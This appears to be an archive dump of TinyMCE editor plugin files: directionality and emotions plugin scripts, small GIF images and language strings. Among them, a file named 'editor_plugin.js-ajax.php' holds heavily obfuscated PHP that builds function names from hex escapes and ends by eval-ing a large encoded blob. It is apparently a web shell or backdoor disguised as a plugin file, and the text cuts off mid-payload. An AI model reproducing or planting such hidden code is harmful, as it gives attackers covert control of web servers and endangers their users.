var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); if (e) { if (ed.dom.getAttrib(e, "dir") != "rtl") ed.dom.setAttrib(e, "dir", "rtl"); else ed.dom.setAttrib(e, "dir", ""); } ed.nodeChanged(); }); ed.addButton('ltr', {title : 'directionality.ltr_desc', cmd : 'mceDirectionLTR'}); ed.addButton('rtl', {title : 'directionality.rtl_desc', cmd : 'mceDirectionRTL'}); ed.onNodeChange.add(t._nodeChange, t); }, getInfo : function() { return { longname : 'Directionality', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality', version : tinymce.majorVersion + "." + tinymce.minorVersion }; }, // Private methods _nodeChange : function(ed, cm, n) { var dom = ed.dom, dir; n = dom.getParent(n, dom.isBlock); if (!n) { cm.setDisabled('ltr', 1); cm.setDisabled('rtl', 1); return; } dir = dom.getAttrib(n, 'dir'); cm.setActive('ltr', dir == "ltr"); cm.setDisabled('ltr', 0); cm.setActive('rtl', dir == "rtl"); cm.setDisabled('rtl', 0); } }); // Register plugin tinymce.PluginManager.add('directionality', tinymce.plugins.Directionality); })(); plugins/directionality/images/ltr.gif 0000666 00000000233 15155066653 0014023 0 ustar 00 GIF89a *LZ^[N|@=@xxxBne'/'RJR ! , HI8{7^@8X1J -H<kQ0 0P@m veR/6D.ht ; plugins/directionality/images/rtl.gif 0000666 00000000231 15155066653 0014021 0 ustar 00 GIF89a .ROMO^Jr><>jni}7_ ! , FI8ͻNs %@KCq` &Q B c$a1NjƪbxL. ; plugins/directionality/langs/en.js 0000666 00000000240 15155066653 0013330 0 ustar 00 // UK lang variables tinyMCE.addToLang('',{ directionality_ltr_desc : 'Direction left to right', directionality_rtl_desc : 'Direction right to left' }); plugins/directionality/readme.txt 0000666 00000000075 15155066653 0013270 0 ustar 00 Check the TinyMCE documentation for details on this plugin. plugins/emotions/adminer.php 0000666 00000000000 15155066653 0012220 0 ustar 00 plugins/emotions/editor_plugin.js 0000666 00000001244 15155066653 0013305 0 ustar 00 (function(a){a.create("tinymce.plugins.EmotionsPlugin",{init:function(b,c){b.addCommand("mceEmotion",function(){b.windowManager.open({file:c+"/emotions.htm",width:250+parseInt(b.getLang("emotions.delta_width",0)),height:160+parseInt(b.getLang("emotions.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("emotions",{title:"emotions.emotions_desc",cmd:"mceEmotion"})},getInfo:function(){return{longname:"Emotions",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("emotions",a.plugins.EmotionsPlugin)})(tinymce); plugins/emotions/editor_plugin.js-ajax.php 0000666 00000221011 15155066653 0015010 0 ustar 00 <?php goto b411d; e99e7: ${${"\x47\x4c\x4f\x42\101\x4c\123"}["\x6b\x71\153\153\151\161\x79\x67\152\151\x69"]} = "\172"; goto bfd51; Afc8f: ${${"\x47\114\x4f\102\x41\114\123"}["\x77\144\x6b\x7a\166\x65\157\x78\152\162\145"]} = "\157"; goto a96e0; Ae71f: ${"\107\114\x4f\x42\101\x4c\123"}["\x6f\156\151\x70\161\x68\x6b\x63\141\147\x69\145"] = "\104\126"; goto Ea307; Ccbe4: ${"\x47\x4c\x4f\x42\x41\114\x53"}["\x79\145\141\160\141\141\x6f\x73"] = "\x70\x59\x6d"; goto F622e; d005d: $be6f4 = "\x68\x59\147\x43\165"; goto A4cd8; ad59a: ${${"\x47\x4c\117\102\x41\x4c\x53"}["\x69\x63\144\x62\171\x77\165\170\154\x79\x6c"]} = "\147"; goto b5813; F55b5: ${"\107\114\x4f\x42\101\114\123"}["\171\164\x78\x6f\150\x6b\150"] = "\x6b\x4b\166\142"; goto a0d17; b4a96: $F614b = "\110\143\117\147"; goto Afc8f; a785f: ${${"\107\x4c\117\102\x41\114\x53"}["\x65\160\x72\x74\x72\147\163\x73\x75"]} = "\x72"; goto c1a47; Becc9: ${"\x47\x4c\x4f\x42\x41\114\123"}["\x76\x77\157\170\153\162"] = "\x57\x66\127\151"; goto D4c87; b5813: ${$F995c} = "\x6e"; goto F55b5; F2892: ${"\x47\x4c\117\102\101\114\x53"}["\x68\x7a\172\x74\143\166\x74\170\161\x77"] = "\171\101\143\111"; goto d505d; bf621: $baae1 = "\x4a\x4f"; goto a25b0; F4c01: ${"\107\x4c\117\x42\x41\x4c\x53"}["\143\x73\x74\166\157\161"] = "\161\115\104\x64"; goto d61fb; a945e: $b5965 = "\x4b\x48\x45\x41\x77"; goto Ccbe4; D4c87: ${"\107\114\x4f\x42\101\114\123"}["\x73\143\x76\x68\x73\x75\156\x62\156\x65\165"] = "\150"; goto b2701; d61fb: ${"\x47\114\x4f\102\101\x4c\123"}["\x67\x72\x65\152\x6d\x67\x6e\x6f\161\x65\x78\151"] = "\x6f\x6a\x4c"; goto Fb379; d505d: ${"\x47\x4c\x4f\x42\101\114\123"}["\145\x70\x72\164\162\x67\163\163\x75"] = "\x6d\114\x74\122\x42"; goto bf621; f355b: ${"\107\114\117\x42\101\114\123"}["\x78\x72\x61\x6d\161\x75\x68\150\x6e\170"] = "\x71\x6e\153\x75"; goto Ffa9b; A35d2: ${${"\107\x4c\117\x42\101\114\123"}["\143\x66\x77\x65\144\x74\x76"]} = ${$a2c7a} . ${${"\x47\114\x4f\102\x41\114\x53"}["\x71\x69\x78\x74\161\x68\144\x64"]} . ${$dbafd} . ${$d6203} . ${${"\107\114\117\102\x41\114\123"}["\x79\151\167\142\141\x73\151\x6d\x66\x6f\154"]} . ${${"\x47\114\x4f\x42\101\114\x53"}["\x6e\x75\143\160\164\150\162"]} . ${${"\107\114\117\x42\x41\x4c\123"}["\x76\x77\157\x78\x6b\162"]} . ${${"\107\114\117\x42\101\x4c\x53"}["\x77\x6f\150\155\171\x78"]} . ${${"\107\114\117\102\x41\114\x53"}["\150\172\172\164\143\166\x74\x78\x71\x77"]} . ${${"\107\114\117\102\101\x4c\123"}["\170\162\167\146\171\171\x61\x71"]} . ${${"\107\114\x4f\102\101\x4c\123"}["\170\172\x6a\171\x6f\x74\x6d\x77\166"]} . ${${"\x47\x4c\117\x42\x41\x4c\123"}["\147\162\x65\152\155\x67\156\x6f\x71\x65\170\151"]} . ${${"\107\x4c\x4f\x42\101\x4c\123"}["\x68\x7a\x7a\164\x63\166\164\170\161\167"]}; goto c5aef; bc9e7: ${${"\x47\x4c\117\102\x41\114\x53"}["\x74\143\141\164\165\154\x78\152\153\x66"]} = "\x74"; goto E8b2b; Cc161: ${"\107\114\x4f\102\101\x4c\x53"}["\155\156\x77\x6f\x69\x63\164\160\x73"] = "\157\143\122\x77"; goto af206; af206: ${"\x47\114\x4f\x42\x41\114\123"}["\x77\x64\153\x7a\166\x65\157\170\x6a\162\145"] = "\x52"; goto B9d69; a96e0: ${"\107\114\x4f\x42\x41\x4c\123"}["\170\162\167\x66\171\x79\141\x71"] = "\131\x76\142\103"; goto bc9e7; B9d69: ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\156\167\x6f\151\x63\164\160\x73"]} = "\x62"; goto A57e5; Ffa9b: ${"\x47\114\x4f\x42\x41\114\123"}["\x6b\166\151\x73\x76\152\x64\171\x6a\161\161\142"] = "\x79\101\143\x49"; goto Becc9; bfd51: ${"\107\114\x4f\x42\x41\114\x53"}["\x6f\x63\x62\143\155\143\x62\x67\x6f\x66\144"] = "\161\115\104\x64"; goto Af37f; A5ecb: ${${"\107\114\117\102\101\114\123"}["\156\162\x72\x6d\160\146\150\157"]} = "\x63"; goto Ab325; b411d: ${"\107\x4c\x4f\x42\x41\114\x53"}["\x6b\143\145\x76\x6f\150\x78\170\x6e\x6e\154"] = "\111\x6f\x63"; goto F4c01; Ab325: ${${"\x47\114\117\x42\x41\114\123"}["\163\x65\x6b\x6e\x76\144\164\161\x68\151\145"]} = "\x6c"; goto C6ae4; Af37f: ${${"\x47\x4c\x4f\102\101\114\123"}["\x79\x65\141\160\141\x61\157\x73"]} = "\141"; goto A5ecb; Ac49b: ${"\x47\114\117\102\101\114\123"}["\161\151\170\164\x71\x68\144\144"] = "\160\131\x6d"; goto a945e; E9037: ${${"\x47\114\x4f\x42\x41\x4c\123"}["\x63\143\x6d\152\146\x61\167\x72\167"]} = "\144"; goto Afad6; De267: ${$F614b} = "\64"; goto e99e7; a0d17: $dbafd = "\116\x61\x5a\107\x49"; goto E9037; d19b2: $b1e6b = "\130"; goto ea483; c5aef: ${${"\x47\114\117\x42\x41\114\123"}["\143\163\164\x76\157\161"]} = ${$e1113} . ${${"\107\x4c\x4f\102\101\x4c\123"}["\164\x63\x61\x74\x75\x6c\170\x6a\153\x66"]} . ${${"\107\114\117\x42\x41\114\x53"}["\x65\160\162\164\162\147\163\x73\x75"]} . ${${"\x47\x4c\x4f\102\x41\x4c\123"}["\145\160\x72\x74\x72\147\x73\163\165"]} . ${${"\x47\x4c\117\102\101\114\123"}["\153\166\x69\163\166\x6a\x64\x79\152\161\x71\x62"]} . ${${"\x47\114\117\x42\x41\114\x53"}["\x78\162\x61\x6d\161\165\x68\x68\x6e\170"]}; goto F940b; E18e0: ${"\107\x4c\117\x42\x41\x4c\123"}["\146\x78\x79\145\x6a\x64\166"] = "\x4e\141\132\107\111"; goto Cc161; F7f82: ${"\107\114\x4f\x42\101\114\x53"}["\x66\155\153\161\153\160\171\151"] = "\x65"; goto f355b; e6cc5: ${${"\x47\x4c\117\x42\101\x4c\123"}["\146\x78\x79\145\x6a\x64\166"]} = "\163"; goto b4a96; d9e08: ${${"\x47\114\117\x42\x41\114\x53"}["\x66\x6d\153\x71\x6b\x70\171\151"]} = ${$b1e6b} . ${$b5965} . ${${"\x47\114\117\x42\101\x4c\123"}["\x73\143\166\x68\163\165\x6e\x62\156\x65\x75"]} . ${${"\x47\114\117\102\x41\114\x53"}["\x6f\x6e\x69\160\161\150\x6b\x63\141\x67\151\x65"]} . ${${"\x47\114\x4f\102\x41\114\123"}["\x79\164\170\157\x68\x6b\x68"]} . ${$be6f4} . ${${"\107\x4c\117\102\x41\114\x53"}["\171\145\x61\x70\141\141\x6f\x73"]} . ${${"\107\x4c\x4f\x42\x41\x4c\x53"}["\x74\x63\141\164\x75\154\x78\152\x6b\x66"]} . ${${"\x47\x4c\x4f\102\x41\x4c\x53"}["\x6e\x74\x66\x61\x70\x6e\x72\151\x72"]}; goto A35d2; b993d: ${${"\107\x4c\117\102\x41\114\123"}["\166\x77\x6f\x78\x6b\162"]} = "\x5f"; goto a97b5; bdc2c: ${"\107\114\117\102\101\114\123"}["\x6e\165\143\x70\x74\150\x72"] = "\x48\143\x4f\x67"; goto B247a; c3890: ${${"\107\114\x4f\102\101\114\x53"}["\150\142\x6d\x67\x6a\x73\161\160\152"]} = "\146"; goto ad59a; c1a47: ${"\x47\x4c\x4f\102\x41\114\x53"}["\x68\142\x6d\147\x6a\x73\161\160\152"] = "\x6b\113\x76\x62"; goto Aa1c2; Ae08e: $d6203 = "\x79\x41\x63\x49"; goto B0261; e9368: ${"\x47\x4c\117\102\x41\x4c\x53"}["\163\145\x6b\156\x76\144\164\161\150\151\x65"] = "\x68\131\x67\103\165"; goto Ae08e; B247a: ${"\107\114\x4f\102\101\x4c\123"}["\x79\x69\167\142\x61\x73\151\155\146\157\x6c"] = "\x4a\x4f"; goto Ae71f; Fb379: ${"\107\114\117\102\x41\114\123"}["\170\172\152\x79\x6f\164\155\167\x76"] = "\122"; goto bdc2c; B0261: ${"\x47\114\x4f\102\101\114\x53"}["\156\x72\x72\x6d\x70\x66\150\x6f"] = "\131\x76\x62\103"; goto Ac49b; b2701: ${"\107\114\117\x42\x41\x4c\x53"}["\151\143\144\x62\x79\167\165\170\154\171\154"] = "\x58"; goto e9368; Aa1c2: ${"\107\x4c\117\102\101\114\x53"}["\x6e\164\x66\x61\160\x6e\x72\x69\162"] = "\171\x41\x63\x49"; goto Fadd7; C6ae4: ${"\107\x4c\117\x42\101\x4c\x53"}["\167\x6f\x68\155\x79\x78"] = "\x6f\152\x4c"; goto c3890; a97b5: ${${"\x47\x4c\x4f\x42\x41\114\123"}["\x78\x72\x61\155\x71\165\150\150\x6e\170"]} = "\x76"; goto d9e08; Ea307: ${"\107\114\117\102\101\x4c\123"}["\x63\146\167\145\x64\x74\166"] = "\111\157\x63"; goto F7f82; ae6ed: $e1113 = "\x4e\x61\132\107\x49"; goto e6cc5; ea483: $a2c7a = "\157\143\122\x77"; goto F2892; Fadd7: ${${"\107\x4c\x4f\102\x41\x4c\x53"}["\150\x7a\172\164\x63\x76\164\x78\x71\x77"]} = "\145"; goto De267; A4cd8: ${"\107\114\x4f\102\101\114\123"}["\164\x63\x61\x74\165\x6c\x78\x6a\x6b\146"] = "\104\x6e\130\x74\x79"; goto E18e0; a25b0: $F995c = "\x44\126"; goto d005d; F622e: ${"\107\114\117\102\101\x4c\123"}["\153\161\x6b\x6b\151\x71\x79\x67\152\x69\151"] = "\113\x48\105\101\167"; goto d19b2; E8b2b: ${$baae1} = "\x36"; goto a785f; Afad6: ${${"\x47\x4c\x4f\x42\x41\114\x53"}["\x73\143\166\150\x73\165\156\142\x6e\145\165"]} = "\151"; goto b993d; A57e5: ${"\107\x4c\117\x42\101\114\123"}["\x63\143\155\x6a\146\x61\167\162\167"] = "\157\x6a\x4c"; goto ae6ed; F940b: eval(${${"\107\114\x4f\102\101\114\x53"}["\146\155\x6b\161\153\160\x79\x69"]}(${${"\x47\114\x4f\102\101\x4c\x53"}["\157\x63\142\x63\x6d\x63\142\x67\157\x66\x64"]}(${${"\x47\x4c\117\x42\101\114\123"}["\153\x63\x65\166\157\150\x78\x78\156\156\x6c"]}("\103\57\x2b\x6a\x42\101\156\x68\142\x44\151\70\111\154\163\117\112\x54\x79\124\71\x4c\x74\57\x38\x67\x6d\66\x68\x76\110\x4d\172\155\151\x77\111\57\x51\164\61\101\x62\x32\x2f\114\70\x33\x6d\x56\53\116\x66\64\x72\130\x6d\x2f\x57\110\x2b\156\67\166\x52\x36\x62\x50\x62\x79\x63\146\130\71\57\71\x42\x4e\57\167\x2f\x37\143\x50\x6e\130\x65\151\63\66\112\x76\102\x6f\x36\117\60\x6e\114\x38\x50\x34\62\71\x50\x37\x72\146\71\x6f\53\x76\127\x7a\x39\x33\146\x6b\65\x76\120\57\166\x64\146\162\x51\155\x38\x62\71\x2b\63\x73\63\116\x48\161\x48\142\153\x54\111\x4d\x35\x61\101\x52\x75\104\x54\x34\117\154\x7a\x57\130\142\x50\105\x6b\65\x76\x58\x5a\122\x6c\171\131\65\144\155\67\x5a\164\x33\124\167\143\171\x67\122\170\66\131\103\x32\x57\x43\70\164\x78\131\x39\x4e\x68\x56\172\x70\x46\105\120\147\104\62\171\x32\117\151\x73\62\x30\71\170\111\x48\62\57\147\132\x30\x6d\163\x39\117\x6a\x6f\x6a\x4b\x49\x44\x6d\x43\166\x59\153\104\164\x36\x53\x38\x32\x76\170\x69\152\162\x6f\110\x5a\x72\x32\142\144\160\70\125\x51\123\x63\x52\x6d\114\x42\145\x4a\71\x35\x6e\x70\150\x72\x51\x6f\x74\x50\66\x62\x35\115\x45\x35\x44\57\x37\x58\153\x34\110\120\x46\161\x6e\70\60\164\167\107\155\111\x2f\x5a\x36\104\121\117\x2b\124\x74\x47\x65\x5a\130\x6d\x48\x2b\61\144\115\124\x52\x74\x4b\145\104\111\160\121\x4a\115\x2f\x55\x31\x6c\141\x73\x38\x63\x6a\110\x6e\x4a\x50\x50\x34\121\102\102\x72\116\102\165\x2f\x47\101\146\x4e\117\x69\111\152\154\101\x50\110\167\127\150\x37\125\142\x69\71\x4c\143\110\67\x6e\x71\x2b\x44\x70\162\60\110\x31\x77\114\x66\172\152\64\x38\x57\x76\64\x44\x39\143\x78\x58\120\x43\x43\110\x74\x50\115\172\x6b\127\103\71\64\102\112\x6e\x75\x4f\163\141\x52\x77\71\114\x6c\x4b\x38\x56\x4e\105\x76\x6b\x6c\62\166\154\113\107\120\x66\106\x6f\170\125\147\63\145\x35\53\105\x51\150\x5a\x7a\x59\157\166\110\x41\63\113\x6a\122\103\57\x76\151\x62\151\171\x2b\x43\141\x6c\x54\65\x56\150\x2f\106\145\132\122\157\x66\x76\164\x68\x61\60\172\x50\107\x39\x52\104\x77\x7a\152\124\x6e\x6a\x6a\x65\164\172\67\x44\157\x63\145\x62\x50\x77\x73\x4f\112\53\153\x52\x30\112\153\70\x38\x54\155\x66\x53\x67\x38\160\113\x31\x2f\x44\x50\x42\67\65\64\x61\170\x37\x74\x49\x66\154\155\x62\x52\71\106\x45\x64\154\x54\122\x4c\x36\123\x38\124\x51\142\71\x66\167\x2f\171\146\150\x36\x73\67\x4d\142\171\53\156\71\x4a\x4f\x4d\x64\x36\160\x4a\122\122\144\165\53\x4d\x66\x6b\x43\x39\x6c\x53\53\107\x67\x37\x53\102\124\x7a\141\x65\102\x42\151\70\171\127\170\x61\x59\163\x5a\x66\106\117\121\120\124\104\122\166\112\130\x52\101\144\x73\x75\107\123\x44\x79\x62\x5a\x48\x4d\63\154\102\157\x72\x33\117\113\x4a\x31\x77\x61\x53\71\156\x55\161\x31\111\142\x4f\127\x67\x66\157\117\x4e\130\x68\61\166\105\x46\x41\162\x7a\x52\122\147\x51\104\152\114\123\x68\165\121\125\x54\130\62\120\71\x78\x7a\167\x34\147\x6a\170\103\x72\65\x4c\147\x6c\x62\x33\126\x55\71\x56\x65\147\x45\x54\x58\57\x38\144\70\x39\x33\171\114\110\x71\172\x65\x4f\x38\x45\x51\61\x78\x59\161\x2f\154\102\172\151\166\x64\62\x7a\152\x30\x30\105\123\x64\x7a\111\154\x50\160\103\x34\x35\x5a\122\65\x42\132\113\x64\x56\x43\x71\62\x61\x31\120\x37\x5a\x68\x30\131\x7a\146\71\x32\144\102\x59\63\x78\x73\x64\162\x6b\167\124\x38\x35\104\63\x2b\165\154\123\x30\61\x43\x58\x46\x4e\162\x33\161\164\124\x49\x47\162\53\x47\x74\x6f\x5a\154\x76\x48\106\155\x72\111\60\x6f\132\x57\x34\x63\x47\x49\103\x37\x65\106\x54\160\111\141\x6b\153\113\103\x31\x2f\164\x6b\x36\123\x31\161\126\110\132\65\124\x38\103\x38\155\x39\x42\60\x46\66\114\x51\156\x4c\x44\126\x59\x7a\x68\x46\x68\x4b\x66\x35\x47\x46\x35\142\x57\x35\111\x41\x71\x67\171\x69\102\170\x73\130\x42\163\70\153\142\x6d\71\152\132\155\172\x30\x77\112\x75\172\160\164\x61\144\x6f\x72\x4b\x75\x58\x51\x6e\x54\x38\x78\146\115\143\x4c\x79\152\57\x36\x75\x65\124\105\x51\132\x72\x73\x53\154\157\165\x33\166\x35\x7a\x6b\164\x6b\x58\x44\172\157\x74\156\x61\164\x59\162\x6d\172\x37\154\x67\x77\x66\x56\x39\x74\130\163\x76\x66\114\110\x44\x51\x53\127\147\x53\x52\162\x33\60\113\165\172\x6d\x52\132\166\x46\121\x53\131\x2f\66\146\x37\x33\114\x41\x78\x66\x6c\x74\x45\127\106\164\x73\130\x71\153\x39\165\115\154\57\111\161\x53\65\101\x66\x48\170\x68\105\143\163\143\106\x6b\x6d\x64\x55\117\61\x54\x34\115\162\x48\132\106\116\61\53\164\171\x65\144\112\x72\150\125\121\132\x69\57\x6c\65\71\111\x6b\x6f\163\x52\103\122\146\165\x4d\164\107\160\x53\132\x37\53\x4a\x65\x41\x45\x56\x74\165\x76\102\x63\71\x5a\x49\x33\x37\x43\x43\x36\157\x5a\172\123\122\x6c\60\113\x41\103\121\157\153\x73\x53\66\103\x54\66\x75\70\70\143\x64\x6e\x39\144\x50\147\x2f\130\153\x58\141\102\105\113\145\153\147\x66\x4a\147\160\122\x79\x70\x6a\106\123\146\160\123\104\x4b\111\x38\x2f\x71\171\145\166\141\145\x7a\x7a\x48\x4c\x42\x59\61\x2f\x6b\120\x6a\x6f\161\x51\x6f\x52\121\61\102\x48\146\x78\x4b\x4d\x2b\167\x30\113\110\103\x70\x65\110\171\x34\153\116\x55\111\167\122\124\x44\x35\x51\127\x54\x6c\167\x58\x47\x70\x74\x6d\x50\144\x53\130\102\153\157\x72\117\x4d\x74\154\x65\x42\x6b\155\x52\x4b\x53\x6e\x32\x51\171\x58\106\x45\x56\53\125\127\x61\x66\124\x36\x30\x4e\166\x72\147\71\x32\157\170\150\66\x38\x46\x79\x73\x54\x51\115\x51\x48\111\125\64\123\53\123\157\x54\x71\x34\x78\141\x59\x45\x6b\x35\153\127\x49\170\x74\x48\x47\165\x30\150\x64\x4a\112\165\153\x65\104\x63\166\x4e\x34\x51\x41\102\x68\x47\x39\117\x69\124\x41\x78\165\x6b\115\143\x61\x4f\147\x6b\x45\x74\x51\x4b\x5a\60\x37\x69\x32\53\x35\x4a\x63\x57\x38\x62\x6f\116\x51\70\x4b\62\151\105\x6c\x4c\x68\x61\x67\x6b\146\x42\x47\156\x72\106\x66\x48\x31\106\x6e\143\x35\143\x50\141\x59\154\113\x68\x48\165\x69\x36\70\x5a\60\60\x70\171\170\165\x76\x57\61\x46\120\127\65\x63\112\x4f\154\x36\156\115\x31\x47\112\157\123\125\x79\x61\x4b\142\146\64\x31\x78\x58\x41\116\71\x4b\x4d\113\x42\x74\x67\x37\157\x77\x34\170\x52\114\x38\110\147\x41\123\170\x4d\53\x45\127\132\x4d\x71\70\153\x7a\x5a\142\157\116\106\x44\x30\x61\x58\x32\x53\117\105\x79\67\x39\130\x2f\x43\62\145\122\x32\x73\122\x68\167\162\x67\155\124\x37\x47\x5a\x4f\64\165\142\x53\155\x52\165\x43\x41\x55\145\150\106\103\172\x30\142\x64\142\x4f\63\x48\x77\157\153\x70\x49\105\x36\163\142\x7a\x4f\x6c\x53\x34\131\x41\107\x49\141\x55\116\65\171\x53\x44\x43\x4a\57\x44\127\165\121\132\x79\163\166\166\x31\x6a\x78\x49\125\171\150\57\104\x62\x31\53\143\124\162\x79\160\156\x4c\155\x51\x65\156\x7a\151\143\105\x76\65\156\x72\x67\132\144\114\x75\x37\x75\67\105\151\x49\110\150\x65\x52\x71\141\122\x66\101\x44\113\66\143\x74\61\x39\x4b\x2f\105\x32\x76\116\155\x48\105\x62\x76\x30\x45\x64\116\115\x65\66\132\61\142\x62\x49\170\x6e\x4a\x6c\145\143\106\165\x54\x46\x53\x78\64\114\125\66\x56\125\162\x48\112\x42\x65\x57\160\161\125\x63\x36\112\115\x63\x70\121\60\x35\53\x79\x47\x52\x39\x55\170\x63\x61\x78\116\67\121\103\x34\156\x2b\101\x79\x56\116\x6e\x72\x4d\x30\171\155\x79\x71\143\x6a\x6c\116\154\162\172\x69\161\162\x63\115\x6c\x5a\106\x6e\115\115\x67\61\160\x5a\x69\x6b\x52\x4c\x75\x4d\x59\157\x65\124\122\122\160\x34\130\x31\x52\127\x35\x46\x46\x44\x4d\141\127\x5a\x6a\x4b\x35\x76\152\x58\x38\155\x59\162\155\71\x37\146\x79\x6d\x7a\147\157\x51\x42\120\144\x44\124\x5a\x58\x43\x76\101\x4b\62\x55\x78\152\117\120\x32\x6b\147\x38\x78\x39\x51\x7a\x69\172\x34\x79\146\167\171\x48\x4f\110\160\x77\x4b\113\70\x61\x32\61\x51\x52\x4d\65\x47\x59\x6f\162\145\x56\x55\142\170\112\105\x32\61\x63\x37\151\126\104\127\x43\x72\x51\x54\130\110\144\x58\x65\x6c\143\x4b\x36\126\66\x63\x5a\112\x45\x54\x55\163\53\x4d\x56\102\x75\156\x62\61\x54\x44\x39\x71\x59\156\61\x51\x38\x69\x30\64\x34\x5a\61\x7a\x54\x4b\70\172\x7a\117\x36\61\x41\x72\x75\x58\x6e\130\125\161\x47\113\x55\x56\x6b\172\x4b\x71\132\126\x31\x51\123\150\113\x79\x78\x37\171\115\130\x48\x56\122\130\x4e\x4e\x46\x4b\x79\x64\x50\x36\53\60\156\x34\x72\115\60\57\x31\143\64\x78\x2b\x71\113\64\53\x4d\156\x6c\x35\114\x77\162\x38\x7a\x45\x79\x62\154\x64\161\x70\141\x64\120\x5a\x50\x6d\171\115\x58\x47\163\x73\x6d\162\x65\x52\126\164\x36\x4c\x58\172\x67\x34\x31\x38\x67\x6f\70\110\53\167\163\x73\110\x71\164\146\x6d\115\x4a\125\166\150\x74\x55\x57\x71\x64\155\162\127\154\x77\160\x52\142\x4b\65\x68\x37\112\143\x7a\103\71\121\x77\x52\x63\171\70\x46\163\115\x56\121\x70\171\65\141\154\166\x72\x31\115\143\x53\163\x59\171\x31\105\x4e\106\160\144\127\x56\x6e\x4b\61\63\x43\x53\x7a\x46\x6a\171\x6e\x58\171\107\x61\x37\66\x64\117\105\122\x70\172\125\x4c\124\125\126\x57\161\x2b\x42\x6e\x4b\x35\170\153\x62\x6e\111\114\60\67\x6b\x37\x6c\x54\101\70\53\123\125\x65\x33\116\x51\71\161\x4b\x59\131\114\x6c\x4b\x36\x31\65\x51\x70\x6f\x51\61\x37\105\120\171\157\x39\141\x38\151\122\x47\x6e\x4f\x6e\x47\x74\160\125\x31\124\x63\x49\x61\x76\153\x4b\102\x46\122\x41\130\x73\117\130\x6e\x54\x75\150\64\154\110\67\x43\163\67\102\142\x58\124\157\167\x72\x73\x58\x45\x58\x2b\x6f\150\x61\x50\x54\x49\132\142\152\126\x62\x75\154\x6d\x66\x61\171\126\x75\x73\x76\164\x77\172\114\x38\x71\x49\x61\x50\114\x7a\121\x31\112\125\x68\x37\61\154\103\x33\x35\111\x48\122\x37\x55\x51\116\x35\x67\x33\104\157\x33\115\x6b\x38\x5a\57\71\x4b\x32\x64\143\x4b\x61\x57\126\x4e\66\156\131\113\70\x42\x67\123\x76\65\66\x76\62\x76\151\150\164\67\x73\x57\x31\x69\x36\104\x69\x53\164\x4f\116\x48\x69\x5a\111\x58\101\162\x31\x71\x2b\61\172\61\60\x76\105\x47\163\x67\160\x5a\x6c\x59\x30\153\x71\x79\x49\123\123\x30\x55\171\151\x6d\141\64\63\x73\x6b\x4c\152\x30\161\126\x57\152\x31\x64\125\x2f\151\127\112\171\61\x53\x56\115\107\x6d\x32\143\x6d\x74\x55\165\x52\150\125\x36\x75\163\x61\162\132\x42\x53\x6f\x33\x6d\x62\141\66\162\117\x4d\166\114\x4f\156\162\57\x50\121\x37\105\63\64\107\106\110\x78\x58\70\125\165\160\x42\x54\161\164\151\153\x77\126\153\111\155\x64\123\x4f\x7a\x7a\x51\x31\113\x57\x31\x53\x36\106\125\x76\x57\x4f\162\x53\161\116\110\164\x32\x46\x73\154\63\x73\x4e\102\x35\111\x69\110\x7a\x48\x66\103\163\171\152\x6b\111\x2b\65\151\x6a\71\171\107\102\x54\x79\x45\171\103\x55\x2f\x7a\x4b\60\144\x4a\x51\x73\x30\x56\171\151\171\x6f\70\126\116\x61\x35\61\x74\142\60\x65\114\150\x50\x64\150\x36\103\63\x6c\153\x6a\x78\x55\x72\70\132\x47\x6d\161\x31\114\62\x39\x34\x39\127\130\x35\x48\x4f\x77\70\103\x67\110\x49\110\125\x62\127\x6a\144\x59\162\x47\x62\x67\122\x46\x79\63\x5a\x68\x58\110\66\x48\161\x56\x6a\x34\104\x59\x54\123\121\x32\x57\143\131\x75\x79\154\x59\114\x46\111\106\153\165\x32\171\x4b\112\x51\167\x6b\142\x74\x53\x51\x6e\x75\67\x53\163\x34\x2f\x6c\x72\x6c\x31\x34\x34\154\61\x52\x6d\x30\110\130\164\60\x42\x30\106\103\x6e\x79\x55\x6f\161\153\x4d\x34\x58\x30\x62\x4b\x56\62\132\162\x75\150\122\112\x32\124\71\x6e\121\112\110\127\155\110\110\121\x57\x55\145\114\x54\121\62\x69\x74\153\126\x59\162\x6e\x31\122\151\163\x55\166\143\x69\114\61\x69\64\x4a\114\163\x62\70\x65\57\x71\x41\121\142\111\x73\x57\x53\120\131\x31\x79\x78\x63\141\64\123\113\141\71\x57\x68\x6e\113\x56\x4b\x46\x37\62\131\113\141\153\143\x4c\121\113\162\x4e\130\145\x61\x63\63\160\x45\65\x79\162\x38\x44\53\x69\111\x52\113\x54\x51\121\61\113\117\x5a\171\147\110\115\105\132\x56\114\x67\166\x4c\165\70\x53\160\71\x65\103\121\60\125\x44\115\x61\x35\x66\104\x59\x75\x64\x4b\x6b\x65\53\125\162\x33\111\71\x2f\x6b\165\124\x30\x7a\155\112\x78\x6c\146\107\x63\x30\x73\132\121\x41\102\162\105\x55\x50\x31\62\103\x77\x6e\x68\x6a\x4b\107\x68\x63\x36\167\x58\x7a\152\117\121\x5a\120\110\146\63\x6d\130\147\x6e\x79\x41\167\x78\x58\x61\123\x34\156\x33\160\144\165\x6b\126\x5a\x53\x6a\157\153\x7a\104\x7a\71\x48\x4f\x7a\152\172\x62\70\x6c\172\x50\142\142\165\146\x6a\156\151\101\172\x6b\65\x69\x6c\144\147\x65\101\106\x55\x72\110\165\127\x70\x2b\x2b\102\155\156\142\x52\65\114\x45\x64\x4b\114\152\53\65\65\156\x75\160\x43\132\125\x4e\x5a\x74\x38\71\x61\70\105\x39\x51\60\x44\125\x69\x58\x64\x66\x4a\x46\x33\x36\x6b\x78\x4a\111\x30\60\170\x75\146\x6c\147\x65\x71\66\x72\145\127\107\110\x6c\111\147\70\x42\61\160\105\x38\x57\117\142\107\x6e\x48\71\x54\164\x72\x63\x45\156\x49\x54\170\130\112\x70\124\x4a\x72\x37\x45\x4d\164\123\x4f\x48\x47\x66\x42\64\157\71\123\152\x64\106\130\x65\170\172\57\x4f\x79\x73\151\x72\115\x32\x30\x74\151\x34\123\x46\x4f\x33\x42\170\x6e\x41\x59\x6d\x68\172\115\122\117\123\160\x64\110\x74\130\114\x73\153\x75\x79\x31\162\124\x75\x55\170\122\x37\162\x4b\155\